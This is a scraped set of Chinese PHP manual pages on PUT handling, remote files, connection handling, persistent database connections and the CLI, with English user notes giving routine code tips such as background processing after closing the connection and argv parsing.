I have spent a lot of time trying to make PUT work with Apache 2.0.40. I have not yet been able to find any way of making the Script directive invoke php via mod_php, the only way has been to have a file called example.cgi and invoke it via CGI, with the file starting
#!/usr/bin/php
so the PHP interpreter is invoked through the CGI mechanism and not as a module.

If there IS a way of making it work 'right' I'd love to know! After six hours of messing around, I've settled for CGI. The error messages in the apache error log are significantly misleading and the whole thing has been an exercise in frustration.

Attempts to use AddHandler and all 'normal' ways of trying to persuade Apache to do this have been fruitless. It does seem as if PUT can only be handled by CGI invocation.


参见

  • 文件系统安全

User Contributed Notes

There are no user contributed notes for this page.


使用远程文件

只要在 php.ini 中启用 allow_url_fopen，就可以将 HTTP 和 FTP URL 与大多数以文件名作为参数的函数一起使用。此外，也可以在 include、include_once、require 及 require_once 语句中使用 URL（必须启用 allow_url_include）。PHP 协议支持的更多信息参见支持的协议和封装协议。

例如，可以用此打开远程 web 服务器上的文件，解析输出以获取所需数据，然后在数据库查询中使用该数据，或者网站其余部分相同的样式输出内容。

Example #1 获取远程页面的标题

<?php
$file = fopen ("http://www.example.com/", "r");
if (!$file) {
echo "<p>Unable to open remote file.\n";
exit;
}
while (!feof ($file)) {
$line = fgets ($file, 1024);
/* 仅当标题跟标签在同一行时才有效 */
if (preg_match ("@\<title\>(.*)\</title\>@i", $line, $out)) {
$title = $out[1];
break;
}
}
fclose($file);
?>

也可以在 FTP 服务器上写入文件（提供具有正确访问权限的用户身份连接）。只能使用此方法创建新文件；如果尝试覆盖已存在的文件，则调用 fopen() 将失败。

要以"anonymous"以外的用户名连接服务器，需要指明用户名（可能还有密码），例如"ftp://user:password@ftp.example.com/path/to/file"（当需要基础认证的 HTTP 协议访问远程文件时也可以使用相同的语法）。

Example #2 将数据保存到远程服务器

<?php
$file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w");
if (!$file) {
echo "<p>Unable to open remote file for writing.\n";
exit;
}
/* 这里写入数据。 */
fwrite ($file, $_SERVER['HTTP_USER_AGENT'] . "\n");
fclose ($file);
?>

Note:

或许可以从以上范例中了解到可以使用该技术写入远程日志文件。但不幸的是，这不起作用，因为如果如果远程文件已存在，调用 fopen() 将失败。要进行这样的分布式日志记录，应该参考 syslog()。

User Contributed Notes

There are no user contributed notes for this page.


连接处理

在 PHP 内部，系统维护着连接状态，其状态有 4 种可能的情况：

  • 0 - NORMAL（正常）
  • 1 - ABORTED（异常退出）
  • 2 - TIMEOUT（超时）
  • 3 - ABORTED and TIMEOUT（异常退出且超时）

当 PHP 脚本正常地运行，NORMAL 状态为有效。当远程客户端中断连接时，ABORTED 状态的标记将会被打开。远程客户端连接的中断通常是由用户点击 STOP 按钮导致的。当连接时间超过 PHP 的时限（请参阅 set_time_limit() 函数）时，TIMEOUT 状态的标记将被打开。

可以决定脚本是否需要在客户端中断连接时退出。有时候让脚本完整地运行会带来很多方便，即使没有远程浏览器接受脚本的输出。默认的情况是当远程客户端连接中断时脚本将会退出。该处理过程可由 php.ini 的 ignore_user_abort 或由 httpd.conf 设置中对应的"php_value ignore_user_abort"以及 ignore_user_abort() 函数来控制。如果没有告诉 PHP 忽略用户的中断，脚本将会被中断，除非通过 register_shutdown_function() 设置了关闭触发函数。通过该关闭触发函数，当远程用户点击 STOP 按钮后，脚本再次尝试输出数据时，PHP 将会检测到连接已被中断，并调用关闭触发函数。

脚本也有可能被内置的脚本计时器中断。默认的超时限制为 30 秒。这个值可以通过设置 php.ini 的 max_execution_time 或 httpd.conf 设置中对应的"php_value max_execution_time"参数或者 set_time_limit() 函数来更改。当计数器超时的时候，脚本将会类似于以上连接中断的情况退出，先前被注册过的关闭触发函数也将在这时被执行。在该关闭触发函数中，可以通过调用 connection_status() 函数来检查超时是否导致关闭触发函数被调用。如果超时导致了关闭触发函数的调用，该函数将返回 2。

需要注意的一点是 ABORTED 和 TIMEOUT 状态可以同时有效。这在告诉 PHP 忽略用户的退出操作时是可能的。PHP 将仍然注意用户已经中断了连接但脚本仍然在运行的情况。如果到了运行的时间限制，脚本将被退出，设置过的关闭触发函数也将被执行。在这时会发现函数 connection_status() 返回 3。

User Contributed Notes

Marco 08-Mar-2017 05:58
The CONNECTION_XXX constants that are not listed here for some reason are:

0 = CONNECTION_NORMAL
1 = CONNECTION_ABORTED
2 = CONNECTION_TIMEOUT
3 = CONNECTION_ABORTED & CONNECTION_TIMEOUT

Number 3 is effectively tested like this:
if (CONNECTION_ABORTED & CONNECTION_TIMEOUT)
    echo 'Connection both aborted and timed out';
robert at go dot rw 14-Apr-2016 01:54
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
/*
 * Anti-Pattern
 */

# Connect
mysql_connect('localhost', 'username', 'password') or die('Could not connect: ' . mysql_error());

# Choose a database
mysql_select_db('someDatabase') or die('Could not select database');

# Perform database query
$query = "SELECT * from someTable";
$result = mysql_query($query) or die('Query failed: ' . mysql_error());

# Filter through rows and echo desired information
while ($row = mysql_fetch_object($result)) {
    echo $row->name;
}
mheumann at comciencia dot cl 29-Jul-2013 02:38
I had a lot of problems getting a redirect to work, after which my script was intended to keep working in the background. The redirect to another page of my site simply would only work once the original page had finished processing.

I finally found out what was wrong:
The session only gets closed by PHP at the very end of the script, and since access to the session data is locked to prevent more than one page writing to it simultaneously, the new page cannot load until the original processing has finished.

Solution:
Close the session manually when redirecting using session_write_close():

<?php
ignore_user_abort(true);
set_time_limit(0);

$strURL = "PUT YOUR REDIRCT HERE";
header("Location: $strURL", true);
header("Connection: close", true);
header("Content-Encoding: none\r\n");
header("Content-Length: 0", true);

flush();
ob_flush();

session_write_close();

// Continue processing...

sleep(100);
exit;
?>

But careful:
Make sure that your script doesn't write to the session after session_write_close(), i.e. in your background processing code.  That won't work.  Also avoid reading, remember, the next script may already have modified the data.

So try to read out the data you need prior to redirecting.
Ilya Penyaev 27-Sep-2012 06:25
I was quite stuck when trying to make my script redirect the client to another URL and then continue processing. The reason was php-fpm. All possible buffer flushes did not work, unless I called fastcgi_finish_request();

For example:

<?php
    // redirecting...
    ignore_user_abort(true);
    header("Location: ".$redirectUrl, true);
    header("Connection: close", true);
    header("Content-Length: 0", true);
    ob_end_flush();
    flush();
    fastcgi_finish_request(); // important when using php-fpm!

    sleep (5); // User won't feel this sleep because he'll already be away

    // do some work after user has been redirected
?>
Anonymous 29-Dec-2011 05:52
This simple function outputs a string and closes the connection. It considers compression using "ob_gzhandler"

It took me a little while to put this all together, mostly because setting the encoding to none, as some people noted here, didn't work.

<?php
function outputStringAndCloseConnection2($stringToOutput)
{
    set_time_limit(0);
    ignore_user_abort(true);
    // buffer all upcoming output - make sure we care about compression:
    if(!ob_start("ob_gzhandler"))
        ob_start();
    echo $stringToOutput;
    // get the size of the output
    $size = ob_get_length();
    // send headers to tell the browser to close the connection
    header("Content-Length: $size");
    header('Connection: close');
    // flush all output
    ob_end_flush();
    ob_flush();
    flush();
    // close current session
    if (session_id()) session_write_close();
}
?>
a1n2ton at gmail dot com 12-Dec-2009 01:09
PHP changes directory on connection abort so code like this will not do what you want:

<?php
function abort()
{
     if(connection_aborted())
           unlink('file.ini');
}
register_shutdown_function('abort');
?>

actually it will delete file in apaches's root dir so if you want to unlink file in your script's dir on abort or write to it you have to store directory
<?php
function abort()
{
     global $dsd;
     if(connection_aborted())
           unlink($dsd.'/file.ini');
}
register_shutdown_function('abort');
$dsd=getcwd();
?>
tom lgold2003 at gmail dot com 09-Sep-2009 11:43
hey, thanks to arr1, and it is very useful for me, when I need to return to the user fast and then do something else.

When using the codes, it nearly drive me mad and I found another thing that may affect the codes:

Content-Encoding: gzip

This is because the zlib is on and the content will be compressed. But this will not output the buffer until all output is over.

So, it may need to send the header to prevent this problem.

now, the code becomes:

<?php
ob_end_clean();
header("Connection: close\r\n");
header("Content-Encoding: none\r\n");
ignore_user_abort(true); // optional
ob_start();
echo ('Text user will see');
$size = ob_get_length();
header("Content-Length: $size");
ob_end_flush();     // Strange behaviour, will not work
flush();            // Unless both are called !
ob_end_clean();

//do processing here
sleep(5);

echo('Text user will never see');
//do some processing
?>
Jean Charles MAMMANA 01-Apr-2008 01:25
connection_status() return ABORTED state ONLY if the client disconnects gracefully (with STOP button). In this case the browser send the RST TCP packet that notify PHP the connection is closed.
But.... If the connection is stopped by networs troubles (wifi link down by exemple) the script doesn't know that the client is disconnected :(

I've tried to use fopen("php://output") with stream_select() on writting to detect write locks (due to full buffer) but php give me this error : "cannot represent a stream of type Output as a select()able descriptor"

So I don't know how to detect correctly network trouble connection...
Anonymous 13-Nov-2007 02:06
in regards of posting from:
arr1 at hotmail dot co dot uk

if you use/write sessions you need to do this before:
(otherwise it does not work)

session_write_close();

and if wanted:

ignore_user_abort(TRUE);
instead of ignore_user_abort();
arr1 at hotmail dot co dot uk 14-Nov-2006 11:51
Closing the users browser connection whilst keeping your php script running has been an issue since 4.1, when the behaviour of register_shutdown_function() was modified so that it would not automatically close the users connection.

sts at mail dot xubion dot hu
Posted the original solution:

<?php
header("Connection: close");
ob_start();
phpinfo();
$size=ob_get_length();
header("Content-Length: $size");
ob_end_flush();
flush();
sleep(13);
error_log("do something in the background");
?>

Which works fine until you substitute phpinfo() for
echo ('text I want user to see'); in which case the headers are never sent!

The solution is to explicitly turn off output buffering and clear the buffer prior to sending your header information.

example:

<?php
 ob_end_clean();
 header("Connection: close");
 ignore_user_abort(); // optional
 ob_start();
 echo ('Text the user will see');
 $size = ob_get_length();
 header("Content-Length: $size");
 ob_end_flush(); // Strange behaviour, will not work
 flush();            // Unless both are called !
 // Do processing here
 sleep(30);
 echo('Text user will never see');
?>
Just spent 3 hours trying to figure this one out, hope it helps someone :)

Tested in:
IE 7.5730.11
Mozilla Firefox 1.81
Lee 18-Sep-2004 03:16
The point mentioned in the last comment isn't always the case.

If a user's connection is lost half way through an order processing script is confirming a user's credit card/adding them to a DB, etc (due to their ISP going down, network trouble... whatever) and your script tries to send back output (such as, "pre-processing order" or any other type of confirmation), then your script will abort -- and this could cause problems for your process.

I have an order script that adds data to a InnoDB database (through MySQL) and only commits the transactions upon successful completion. Without ignore_user_abort(), I have had times when a user's connection dropped during the processing phase... and their card was charged, but they weren't added to my local DB.

So, it's always safe to ignore any aborts if you are processing sensitive transactions that should go ahead, whether your user is "watching" on the other end or not.
pulstar at mail dot com 06-Aug-2003 11:32
These functions are very useful for example if you need to control when a visitor in your website place an order and you need to check if he/she didn't clicked the submit button twice or cancelled the submit just after have clicked the submit button.
If your visitor click the stop button just after have submitted it, your script may stop in the middle of the process of registering the products and do not finish the list, generating inconsistency in your database.
With the ignore_user_abort() function you can make your script finish everything fine and after you can check with register_shutdown_function() and connection_aborted() if the visitor cancelled the submission or lost his/her connection. If he/she did, you can set the order as not confirmed and when the visitor came back, you can present the old order again.
To prevent a double click of the submit button, you can disable it with javascript or in your script you can set a flag for that order, which will be recorded into the database. Before accept a new submission, the script will check if the same order was not placed before and reject it. This will work fine, as the script have finished the job before.
Note that if you use ob_start("callback_function") in the begin of your script, you can specify a callback function that will act like the shutdown function when our script ends and also will let you to work on the generated page before send it to the visitor.


持久数据库连接

持久数据库连接是指在脚本结束运行时不关闭的连接。当收到持久连接的请求时，PHP 将检查是否已经存在相同的持久连接（前面已经开启的）——如果存在，将直接使用这个连接。如果不存在，则建立新的连接。所谓"相同"的连接是指用相同的用户名和密码连接到相同主机的连接。

对 web 服务器的工作方式和负载分配方式没有完全理解可能会错误地理解持久连接。特别是持久连接不会在相同的连接上提供建立"用户会话"的能力，也不提供有效建立事务的能力。实际上，要非常清楚的了解持久连接不会提供任何非持久连接无法实现的功能。

为什么？

这和 web 服务器的工作方式有关。web 服务器可以通过三种方法来利用 PHP 生成 web 页面。

第一种方法是将 PHP 自以为 CGI"包装器"用作一个单独运行的语言解释器(CGI Wapper)。当以这种方法运行时，PHP 会为向 web 服务器的每个 PHP 页面请求创建并销毁 PHP 解释器的时候实例。由于其会随每个请求的结束而销毁，因此其获取的任何资源（例如指向 SQL 数据库服务器的链接）都会在销毁时关闭。在这种情况下，不会从使用持久连接中获得任何好处——因为根本不会持久。

第二，也是最流行的方法是把 PHP 用作多进程 web 服务器的一个模块，这种方法目前只适用于 Apache。多进程的服务器通常有一个父进程和一组子进程协调运行，子进程负责提供网页的工作。每当接收达到客户端提出请求时，该请求会传递给尚未给其它客户端提供服务的某个子进程。这也就是说当相同的客户端第二次向服务端发出请求时，它将有可能由与第一次不同的某个子进程提供服务。在开启了一个持久连接后，所有请求 SQL 服务的后继页面都能够重用与 SQL 服务器建立的相同连接。

最后一种方法是将 PHP 用作多线程 web 服务器的插件。目前 PHP 支持 WSAPI 和 NSAPI（在 Windows 上），允许 PHP 作为 Netscape FastTrack（iPlanet）、Microsoft 的 Internet Information Server (IIS) 和 O'Reilly 的 WebSite Pro 等多线程服务器的插件使用。该行为与前面描述的多过程模型相同。

如果持久连接并没有任何附加的功能，那么使用它有什么好处？

答案非常简单——效率。如果创建链接到 SQL 服务器的开销很高，则持久连接是好的。开销高低取决于很多因素。例如，数据库的类型，数据库服务和 web 服务是否在同一台服务器上，SQL 服务器负载状况等。事实是，如果连接开销很高，持久连接将显著的提高效率。它使得子进程在其整个生命周期中只做一次连接操作，而非每次在处理页面时都要向 SQL 服务器提出连接请求。这意味着，每个打开持久连接的子进程将对服务器建立各自的持久连接。例如，如果有 20 个不同的子进程运行与 SQL 服务器建立持久连接的脚本，那么将有 20 个与 SQL 服务器建立的不同连接，每个进程一个。

注意，如果持久连接的数量超过了数据库设定的连接数限制，系统将会产生一些问题。如果数据库的同时连接数限制为 16，而在繁忙会话的情况下，有 17 个线程试图连接，那么有一个线程将无法连接。如果这个时候，在脚本中出现了不允许关闭连接的错误（例如无限循环），则该数据库的 16 个连接将迅速地受到影响。请查阅数据库文档以获取关于如何处理废弃及空闲连接的信息。

Warning

在使用持久连接时还有一些特别的问题需要牢记。例如在持久连接中使用数据表锁时，如果脚本由于某种原因无法释放数据表锁，那么随后使用相同连接的脚本将会被持久的阻塞，可能需要重新启动 httpd 服务或者数据库服务。另外，在使用事务时，如果脚本在事务提交前结束，则该事务也会影响到使用相同连接的下一个脚本。不管在什么情况下，都可以通过使用 register_shutdown_function() 函数来注册一个简单的清理函数来释放数据表锁，或者回滚事务。或者更好的处理方法，是不在使用数据表锁或者事务处理的脚本中使用持久连接，这可以从根本上解决这个问题（当然还可以在其它地方使用持久连接）。

以下是一点重要的总结。持久连接与常规的非持久连接应该是可以互相替换的。即将持久连接替换为非持久连接时，脚本的行为不应该发生改变。使用持久连接只应该改变脚本的效率，不应该改变其行为！

参见 ibase_pconnect()、ociplogon()、odbc_pconnect()、oci_pconnect()、pfsockopen() 和 pg_pconnect()。

User Contributed Notes

pacerier at gmail dot com 24-Jun-2015 09:57
Did anyone else notice that the last paragraph contradicts everything above it?

( cached page: https://archive.is/ZAOwy )
php at alfadog dot net 22-Jan-2014 04:07
One additional not regarding odbc_pconnect  and possibly other variations of pconnect:

If the connection encounters an error (bad SQL, incorrect request, etc), that error will return with  be present in odbc_errormsg for every subsequent action on that connection, even if subsequent actions don't cause another error.

For example:

A script connects with odbc_pconnect.
The connection is created on it's first use.
The script calls a query "Select * FROM Table1".
Table1 doesn't exist and odbc_errormsg contains that error.

Later(days, perhaps), a different script is called using the same parameters to odbc_pconnect.
The connection already exists, to it is reused.
The script calls a query "Select * FROM Table0".
The query runs fine, but odbc_errormsg still returns the error about Table1 not existing.

I'm not seeing a way to clear that error using odbc_ functions, so keep your eyes open for this gotcha or use odbc_connect instead.
ambrish at php dot net 20-Sep-2010 01:37
In IBM_DB2 extension v1.9.0 or later performs a transaction rollback on persistent connections at the end of a request, thus ending the transaction. This prevents the transaction block from carrying over to the next request which uses that connection if script execution ends before the transaction block does.
Tom 28-Dec-2009 05:37
There's a third case for PHP: run on a fastCGI interface. In this case, PHP processes are NOT destroyed after each request, and so persistent connections do persist. Set PHP_FCGI_CHILDREN << mysql's max_connections and you'll be fine.
ynzhang from lakeheadu canada 09-Mar-2009 10:49
It seems that using pg_pconnect() will not persist the temporary views/tables. So if you are trying to create temporary views/tables with the query results and then access them with the next script of the same session, you are out of luck. Those temporary view/tables are gone after each PHP script ended. One way to get around this problem is to create real view/table with session ID as part of the name and record the name&creation time in a common table. Have a garbage collection script to drop the view/table who's session is expired.
christopher dot jones at oracle dot com 26-Jun-2007 10:46
For the oci8 extension it is not true that " [...] when using transactions, a transaction block will also carry over to the next script which uses that connection if script execution ends before the transaction block does.".  The oci8 extension does a rollback at the end scripts using persistent connections, thus ending the transaction.  The rollback also releases locks. However any ALTER SESSION command (e.g. changing the date format) on a persistent connection will be retained over to the next script.
andy at paradigm-reborn dot com 20-Feb-2007 08:13
To those using MySQL and finding a lot of leftover sleeping processes, take a look at MySQL's wait_timeout directive. By default it is set to 8 hours, but almost any decent production server will have been lowered to the 60 second range. Even on my testing server, I was having problems with too many connections from leftover persistent connections.
whatspaz at g NO dot SPAM mail dot c o m 26-Nov-2006 03:02
in response to web at nick, have you tried FLUSH PRIVILEGES. this should reload those privileges.
RQuadling at GMail dot com 06-Mar-2006 03:43
If you have multiple databases on the same server AND you are using persistent connections, you MUST prefix all the table names with the specific database name.

Changing the database using the xxx_select_db functions alters the database for the connection for all users who are sharing that connection (assuming PHP is running shared and not CGI/CLI).

If you have 2 databases (live and archive) and your script is talking to both, you cannot use 2 persistent connections and change the database for each one.

Internally, persistent connections are used even if you do not specify that you want to use persistent connections. This is why new_link was added to mysql_connect/mssql_connect (PHPV4.2.0+).
fabio 12-Jan-2006 03:54
You can in fact provide a port for the connection, take a look at http://de2.php.net/manual/en/function.mysql-pconnect.php#AEN101879

Just use "hostname:port" for the server address.
aaryal at foresightint dot com 15-Jan-2004 03:21
this one bit quite a bit of chunk out of my you-know-what. seems like if you're running multiple database servers on the same host (for eg. MySQL on a number of ports) you can't use pconnect since the port number isn't part of the key for database connections. especially if you have the same username and password to connect to all the database servers running on different ports. but then it might be php-MySQL specific. you might get a connection for an entirely different port than the one you asked for.
jean_christian at myrealbox dot com 15-Aug-2002 03:13
If anyone ever wonders why the number of idle db process (open connections) seems to grow even though you are using persistent connections, here's why:

"You are probably using a multi-process web server such as Apache. Since
database connections cannot be shared among different processes a new
one is created if the request happen to come to a different web server
child process."


PHP 的命令行模式

Table of Contents

  • 如何得知自己使用的是哪个 SAPI？
  • 和其它 SAPI 模块的区别
  • 选项
  • 用法
  • I/O 流
  • 交互式 shell
  • 内置Web Server
  • INI 配置

User Contributed Notes

Anonymous 24-Mar-2021 12:49
We can pass many arguments directly into the hashbang line.
As example many ini setting via the -d parameter of php.
---
#!/usr/bin/php -d memory_limit=2048M -d post_max_size=0
phpinfo();
exit;
---
./script | grep memory
memory_limit => 2048M => 2048M
---
But we can also use this behaviour into a second script, so it call the first as an interpreter, via the hashbang:
---
#!./script arg1 arg2 arg3
---
However the parameters are dispatched in a different way into $argv

All the parameters are in $argv[1], $argv[0] is the interpreter script name, and $argv[1] is the caller script name.

To get back the parameters into $argv, we can simply test if $argv[1] contains spaces, and then dispatch again as normal:

#!/usr/bin/php -d memory_limit=2048M -d post_max_size=0
<?php
var_dump($argv);
if (strpos($argv[1], ' ') !== false){
  $argw = explode(" ", $argv[1]);
  array_unshift($argw, $argv[2]);
  $argv = $argw;
}
var_dump($argv); ?>
---
array(3) {
  [0]=>
  string(8) "./script"
  [1]=>
  string(15) "arg1 arg2 arg3 "
  [2]=>
  string(14) "./other_script"
}
array(4) {
  [0]=>
  string(8) "./other_script"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}
---
This will maintain the same behaviour in all cases and allow to even double click a script to call both parameters of another script, and even make a full interpreter language layer.  The other script doesn't has to be php. Take care of paths.
sam marshall 12-Feb-2019 04:13
When using the -R flag, the name of the variable containing the content of the current line (not including the LF) is $argn.

For example you can do this code:

cat file.txt | php -R 'echo $argn . "\n";'

This will just output each line of the input file without doing anything to it.
apmuthu at usa dot net 26-Nov-2017 05:17
Adding a pause() function to PHP waiting for any user input returning it:

<?php
function pause() {
    $handle = fopen ("php://stdin","r");
    do { $line = fgets($handle); } while ($line == '');
    fclose($handle);
    return $line;
}
?>
ohcc at 163 dot com 17-Sep-2016 06:26
use " instead of ' on windows when using the cli version with -r

php -r "echo 1"
-- correct

php -r 'echo 1'
  PHP Parse error:  syntax error, unexpected ''echo' (T_ENCAPSED_AND_WHITESPACE), expecting end of file in Command line code on line 1
frankNospamwanted at. toppoint dot. de 30-Oct-2014 03:37
Parsing commandline argument GET String without changing the PHP script (linux shell):
URL: index.php?a=1&b=2
Result: output.html

echo "" | php -R 'include("index.php");' -B 'parse_str($argv[1], $_GET);' 'a=1&b=2' >output.html

(no need to change php.ini)

You can put this
  echo "" | php -R 'include("'$1'");' -B 'parse_str($argv[1], $_GET);' "$2"
in a bash script "php_get" to use it like this:
  php_get index.php 'a=1&b=2' >output.html
or directed to text browser...
  php_get index.php 'a=1&b=2' |w3m -T text/html
PSIKYO at mail dot dlut dot edu dot cn 14-Sep-2013 03:19
If you edit a php file in windows, upload and run it on linux with command line method. You may encounter a running problem probably like that:

[root@ItsCloud02 wsdl]# ./lnxcli.php
Extension './lnxcli.php' not present.

Or you may encounter some other strange problem.
Care the enter key. In windows environment, enter key generate two binary characters '0D0A'. But in Linux, enter key generate just only a 'OA'.
I wish it can help someone if you are using windows to code php and run it as a command line program on linux.
sep16 at psu dot edu 01-Jun-2012 01:17
You can easily parse command line arguments into the $_GET variable by using the parse_str() function.

<?php

parse_str(implode('&', array_slice($argv, 1)), $_GET);

?>

It behaves exactly like you'd expect with cgi-php.

$ php -f somefile.php a=1 b[]=2 b[]=3

This will set $_GET['a'] to '1' and $_GET['b'] to array('2', '3').

Even better, instead of putting that line in every file, take advantage of PHP's auto_prepend_file directive.  Put that line in its own file and set the auto_prepend_file directive in your cli-specific php.ini like so:

auto_prepend_file = "/etc/php/cli-php5.3/local.prepend.php"

It will be automatically prepended to any PHP file run from the command line.
Kodeart 29-Aug-2011 02:03
Check directly without calling functions:
<?php
if (PHP_SAPI === 'cli')
{
   // ...
}
?>

You can define a constant to use it elsewhere
<?php
define('ISCLI', PHP_SAPI === 'cli');
?>
Anonymous 28-Jun-2010 07:41
Using CLI (on WIN at least), some INI paths are relative to the current working directory.  For example, if your error_log = "php_errors.log", then php_errors.log will be created (or appended to if already exists) in whatever directory you happen to be in at the moment if you have write access there.  Instead of having random error logs all over the place because of this behavior, you may want to set error_log to a full path, perhaps to the php.exe directory.
notreallyanaddress at somerandomaddr dot com 02-Dec-2009 05:34
If you want to be interactive with the user and accept user input, all you need to do is read from stdin.

<?php
echo "Are you sure you want to do this?  Type 'yes' to continue: ";
$handle = fopen ("php://stdin","r");
$line = fgets($handle);
if(trim($line) != 'yes'){
    echo "ABORTING!\n";
    exit;
}
echo "\n";
echo "Thank you, continuing...\n";
?>
thomas dot harding at laposte dot net 14-Jun-2008 03:08
Parsing command line: optimization is evil!

One thing all contributors on this page forgotten is that you can suround an argv with single or double quotes. So the join coupled together with the preg_match_all will always break that :)

Here is a proposal:

#!/usr/bin/php
<?php
print_r(arguments($argv));

function arguments ( $args )
{
  array_shift( $args );
  $endofoptions = false;

  $ret = array
    (
    'commands' => array(),
    'options' => array(),
    'flags'    => array(),
    'arguments' => array(),
    );

  while ( $arg = array_shift($args) )
  {

    // if we have reached end of options,
    //we cast all remaining argvs as arguments
    if ($endofoptions)
    {
      $ret['arguments'][] = $arg;
      continue;
    }

    // Is it a command? (prefixed with --)
    if ( substr( $arg, 0, 2 ) === '--' )
    {

      // is it the end of options flag?
      if (!isset ($arg[3]))
      {
        $endofoptions = true;; // end of options;
        continue;
      }

      $value = "";
      $com   = substr( $arg, 2 );

      // is it the syntax '--option=argument'?
      if (strpos($com,'='))
        list($com,$value) = split("=",$com,2);

      // is the option not followed by another option but by arguments
      elseif (strpos($args[0],'-') !== 0)
      {
        while (strpos($args[0],'-') !== 0)
          $value .= array_shift($args).' ';
        $value = rtrim($value,' ');
      }

      $ret['options'][$com] = !empty($value) ? $value : true;
      continue;

    }

    // Is it a flag or a serial of flags? (prefixed with -)
    if ( substr( $arg, 0, 1 ) === '-' )
    {
      for ($i = 1; isset($arg[$i]) ; $i++)
        $ret['flags'][] = $arg[$i];
      continue;
    }

    // finally, it is not option, nor flag, nor argument
    $ret['commands'][] = $arg;
    continue;
  }

  if (!count($ret['options']) && !count($ret['flags']))
  {
    $ret['arguments'] = array_merge($ret['commands'], $ret['arguments']);
    $ret['commands'] = array();
  }
return $ret;
}

exit (0)

/* vim: set expandtab tabstop=2 shiftwidth=2: */
?>
james_s2010 at NOSPAM dot hotmail dot com 22-Oct-2007 02:11
I was looking for a way to interactively get a single character response from user. Using STDIN with fread, fgets and such will only work after pressing enter. So I came up with this instead:

#!/usr/bin/php -q
<?php
function inKey($vals) {
    $inKey = "";
    While(!in_array($inKey,$vals)) {
        $inKey = trim(`read -s -n1 valu;echo \$valu`);
    }
    return $inKey;
}
function echoAT($Row,$Col,$prompt="") {
    // Display prompt at specific screen coords
    echo "\033[".$Row.";".$Col."H".$prompt;
}
    // Display prompt at position 10,10
    echoAT(10,10,"Opt : ");

    // Define acceptable responses
    $options = array("1","2","3","4","X");

    // Get user response
    $key = inKey($options);

    // Display user response & exit
    echoAT(12,10,"Pressed : $key\n");
?>

Hope this helps someone.
losbrutos at free dot fr 27-Sep-2007 05:54
an another "another variant" :

<?php
function arguments($argv)
{
  $_ARG = array();
  foreach ($argv as $arg)
  {
    if (preg_match('#^-{1,2}([a-zA-Z0-9]*)=?(.*)$#', $arg, $matches))
    {
      $key = $matches[1];
      switch ($matches[2])
      {
        case '':
        case 'true':
          $arg = true;
          break;
        case 'false':
          $arg = false;
          break;
        default:
          $arg = $matches[2];
      }
      $_ARG[$key] = $arg;
    }
    else
    {
      $_ARG['input'][] = $arg;
    }
  }
  return $_ARG;
}
?>

$php myscript.php arg1 -arg2=val2 --arg3=arg3 -arg4 --arg5 -arg6=false

Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => arg1
        )

    [arg2] => val2
    [arg3] => arg3
    [arg4] => true
    [arg5] => true
    [arg5] => false
)
lucas dot vasconcelos at gmail dot com 22-Jul-2007 11:04
Just another variant of previous script that group arguments doesn't starts with '-' or '--'

<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('^-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
      } else {
            $_ARG['input'][]=$arg;
      }
    }
  return $_ARG;
}

print_r(arguments($argv));
?>

$ php myscript.php --user=nobody /etc/apache2/*
Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => /etc/apache2/apache2.conf
            [2] => /etc/apache2/conf.d
            [3] => /etc/apache2/envvars
            [4] => /etc/apache2/httpd.conf
            [5] => /etc/apache2/mods-available
            [6] => /etc/apache2/mods-enabled
            [7] => /etc/apache2/ports.conf
            [8] => /etc/apache2/sites-available
            [9] => /etc/apache2/sites-enabled
        )

    [user] => nobody
)
bluej100@gmail 25-Jun-2007 11:02
In 5.1.2 (and others, I assume), the -f form silently drops the first argument after the script name from $_SERVER['argv']. I'd suggest avoiding it unless you need it for a special case.
eric dot brison at anakeen dot com 04-Jun-2007 05:16
Just a variant of previous script to accept arguments with '=' also
<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
        }

    }
  return $_ARG;
}
?>
$ php myscript.php --user=nobody --password=secret -p --access="host=127.0.0.1 port=456"
Array
(
    [user] => nobody
    [password] => secret
    [p] => true
    [access] => host=127.0.0.1 port=456
)
rob 23-Mar-2007 11:48
i use emacs in c-mode for editing.  in 4.3, starting a cli script like so:

#!/usr/bin/php -q /* -*- c -*- */
<?php

told emacs to drop into c-mode automatically when i loaded the file for editing.  the '-q' flag didn't actually do anything (in the older cgi versions, it suppressed html output when the script was run) but it caused the commented mode line to be ignored by php.

in 5.2, '-q' has apparently been deprecated.  replace it with '--' to achieve the 4.3 invocation-with-emacs-mode-line behavior:

#!/usr/bin/php -- /* -*- c -*- */
<?php

don't go back to your 4.3 system and replace '-q' with '--'; it seems to cause php to hang waiting on STDIN...
djcassis at gmail 09-Mar-2007 07:14
To display colored text when it is actually supported :
<?php
echo "\033[31m".$myvar; // red foreground
echo "\033[41m".$myvar; // red background
?>

To reset these settings :
<?php
echo "\033[0m";
?>

More fun :
<?php
echo "\033[5;30m;\033[48mWARNING !"; // black blinking text over red background
?>

More info here : http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html
goalain eat gmail dont com 14-Nov-2006 12:57
If your php script doesn't run with shebang (#!/usr/bin/php),
and it issues the beautifull and informative error message:
"Command not found."  just dos2unix yourscript.php
et voila.

If you still get the "Command not found."
Just try to run it as ./myscript.php , with the "./"
if it works - it means your current directory is not in the executable search path.

If your php script doesn't run with shebang (#/usr/bin/php),
and it issues the beautifull and informative message:
"Invalid null command." it's probably because the "!" is missing in the the shebang line (like what's above) or something else in that area.

\Alon
stromdotcom at hotmail dot com 21-Feb-2006 10:27
Spawning php-win.exe as a child process to handle scripting in Windows applications has a few quirks (all having to do with pipes between Windows apps and console apps).

To do this in C++:

// We will run php.exe as a child process after creating
// two pipes and attaching them to stdin and stdout
// of the child process
// Define sa struct such that child inherits our handles

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };
